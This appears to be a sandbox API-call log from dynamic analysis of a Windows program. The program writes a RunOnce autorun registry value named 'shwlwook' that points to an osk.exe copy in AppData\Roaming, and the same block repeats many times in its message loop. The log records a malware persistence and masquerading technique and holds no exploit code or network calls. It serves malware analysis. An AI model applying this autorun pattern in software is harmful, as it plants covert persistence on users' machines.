0x0 [0267.542] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.543] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.543] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.543] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.543] RegCloseKey (hKey=0x14c) returned 0x0 [0267.544] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.544] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.558] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.558] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.558] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.559] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.559] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.559] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.559] RegCloseKey (hKey=0x14c) returned 0x0 [0267.559] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.560] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.573] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.573] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.574] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.574] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.574] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.574] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.574] RegCloseKey (hKey=0x14c) returned 0x0 [0267.575] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.575] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.591] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.591] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.591] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.592] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.592] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.592] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.592] RegCloseKey (hKey=0x14c) returned 0x0 [0267.593] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.593] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.703] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.703] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.703] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.703] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.703] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.704] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.704] RegCloseKey (hKey=0x14c) returned 0x0 [0267.704] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.704] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.729] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.729] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.730] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.730] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.730] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.731] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.731] RegCloseKey (hKey=0x14c) returned 0x0 [0267.731] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.731] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.745] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.745] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.745] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.746] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.746] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.746] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.746] RegCloseKey (hKey=0x14c) returned 0x0 [0267.747] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.747] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.761] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.761] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.761] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.762] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.762] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.762] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.762] RegCloseKey (hKey=0x14c) returned 0x0 [0267.763] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.763] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.785] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.785] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.785] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.786] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.786] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.786] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.786] RegCloseKey (hKey=0x14c) returned 0x0 [0267.786] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.787] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.792] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.792] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.793] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.793] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.793] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.793] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.794] RegCloseKey (hKey=0x14c) returned 0x0 [0267.794] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.794] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.808] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.808] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.808] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.809] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.809] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.809] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.809] RegCloseKey (hKey=0x14c) returned 0x0 [0267.810] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.810] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0267.823] TranslateMessage (lpMsg=0x95f69c) returned 0 [0267.823] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0267.824] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0267.824] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0267.824] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0267.825] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0267.825] RegCloseKey (hKey=0x14c) returned 0x0 [0267.825] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0267.825] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.182] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.182] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.182] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.183] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.183] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.183] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.183] RegCloseKey (hKey=0x14c) returned 0x0 [0268.183] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.184] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.233] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.233] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.233] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.234] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.234] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.234] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.234] RegCloseKey (hKey=0x14c) returned 0x0 [0268.234] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.235] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.262] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.262] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.262] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.263] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.263] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.263] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.263] RegCloseKey (hKey=0x14c) returned 0x0 [0268.263] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.264] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.292] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.292] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.293] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.293] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.293] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.294] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.294] RegCloseKey (hKey=0x14c) returned 0x0 [0268.294] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.294] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.313] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.313] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.314] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.314] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.314] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.314] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.315] RegCloseKey (hKey=0x14c) returned 0x0 [0268.315] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.315] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.339] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.339] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.341] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.342] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.342] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.342] RegCloseKey (hKey=0x14c) returned 0x0 [0268.342] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.343] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.354] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.354] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.355] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.370] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.370] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.370] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.370] RegCloseKey (hKey=0x14c) returned 0x0 [0268.370] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.371] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.386] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.386] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.386] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.386] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.387] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.387] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.387] RegCloseKey (hKey=0x14c) returned 0x0 [0268.387] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.387] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.401] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.401] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.402] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.402] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.402] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.403] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.403] RegCloseKey (hKey=0x14c) returned 0x0 [0268.403] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0268.403] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0268.418] TranslateMessage (lpMsg=0x95f69c) returned 0 [0268.418] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0268.419] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0268.419] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0268.419] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0268.419] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0268.420] RegCloseKey (hKey=0x14c) returned 0x0 [0268.420] 